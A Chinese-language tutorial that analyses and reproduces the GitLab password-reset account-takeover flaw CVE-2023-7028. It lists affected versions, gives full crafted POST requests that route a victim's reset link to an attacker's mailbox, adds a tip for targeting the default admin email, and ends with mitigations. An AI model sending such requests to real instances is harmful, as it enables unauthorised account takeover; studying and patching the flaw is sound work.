GitLab任意用户接管漏洞分析复现(CVE-2023-7028) 教学文档
漏洞概述
CVE-2023-7028是GitLab中的一个严重漏洞,允许攻击者通过密码重置功能接管任意用户账户。该漏洞于2024年1月11日由GitLab官方披露,影响多个版本的GitLab实例。
影响范围
受影响的GitLab版本包括:
- 16.1.0 <= GitLab < 16.1.6
- 16.2.0 <= GitLab < 16.2.9
- 16.3.0 <= GitLab < 16.3.7
- 16.4.0 <= GitLab < 16.4.5
- 16.5.0 <= GitLab < 16.5.6
- 16.6.0 <= GitLab < 16.6.4
- 16.7.0 <= GitLab < 16.7.2
重要说明:该漏洞于2023年5月1日在16.1.0版本中引入,因此低于16.1.0的GitLab版本不受此漏洞影响。
漏洞利用前置条件
- 知道目标用户的邮箱地址
- GitLab管理员已正确配置邮件服务
漏洞原理
该漏洞存在于GitLab的密码重置功能中。正常情况下,当用户请求重置密码时,系统应向注册邮箱发送包含重置链接的邮件。然而,由于代码中对邮件发送数量的限制不当,攻击者可以通过构造恶意请求,将密码重置链接同时发送到目标用户邮箱和攻击者控制的邮箱。
漏洞复现步骤
1. 访问密码重置页面
首先访问目标GitLab实例的密码重置页面:
http://<target-ip>/users/password/new
2. 构造恶意请求
使用Burp Suite或其他抓包工具拦截密码重置请求。原始请求可能如下:
POST /users/password HTTP/1.1
Host: <target-ip>
Content-Type: application/x-www-form-urlencoded
...其他头部信息...
authenticity_token=<token>&user[email][]=<victim-email>&user[email][]=<attacker-email>
修改请求,在user[email][]参数中添加两个邮箱地址:
- 第一个邮箱:目标用户的已知邮箱
- 第二个邮箱:攻击者控制的邮箱
示例恶意请求:
POST /users/password HTTP/1.1
Host: 1.1.1.1
Content-Length: 169
...其他头部信息...
authenticity_token=LnGtHYZiXkXxCGby0lK-Krqy79_lJlbjWsYjz7exHItcrWDAQQX4Yb1rV9J5y4V89Ik8U9UpTbro8owRoekdAA&user%5Bemail%5D%5B%5D=poc1%40163.com&user%5Bemail%5D%5B%5D=attack%40qq.com
3. 发送恶意请求
发送修改后的请求。如果漏洞存在,系统将向两个邮箱地址发送相同的密码重置链接。
4. 接收重置邮件
攻击者将在自己控制的邮箱中收到密码重置邮件,该邮件包含目标账户的重置链接。
5. 重置密码
攻击者点击邮件中的重置链接,即可为目标账户设置新密码,从而完成账户接管。
高级利用技巧
接管管理员账户
GitLab安装时默认创建的管理员账户为admin@example.com。如果管理员未更改此默认邮箱,攻击者可以:
- 尝试重置
admin@example.com的密码 - 将重置链接发送到攻击者邮箱
- 接管管理员账户
GitLab版本检测
可以使用以下工具检测GitLab版本:
- https://github.com/righel/gitlab-version-nse/
防御措施
-
升级GitLab:将GitLab升级到已修复的安全版本
- 16.1.6或更高
- 16.2.9或更高
- 16.3.7或更高
- 16.4.5或更高
- 16.5.6或更高
- 16.6.4或更高
- 16.7.2或更高
-
网络限制:如果无法立即升级,应使用安全组功能限制GitLab仅对可信地址开放
-
修改默认管理员邮箱:确保默认的
admin@example.com邮箱已被修改 -
监控异常活动:监控密码重置功能的异常使用情况
总结
CVE-2023-7028是一个严重的账户接管漏洞,允许攻击者通过密码重置功能控制任意用户账户。该漏洞利用简单但危害大,建议所有受影响用户立即升级到安全版本或采取其他缓解措施。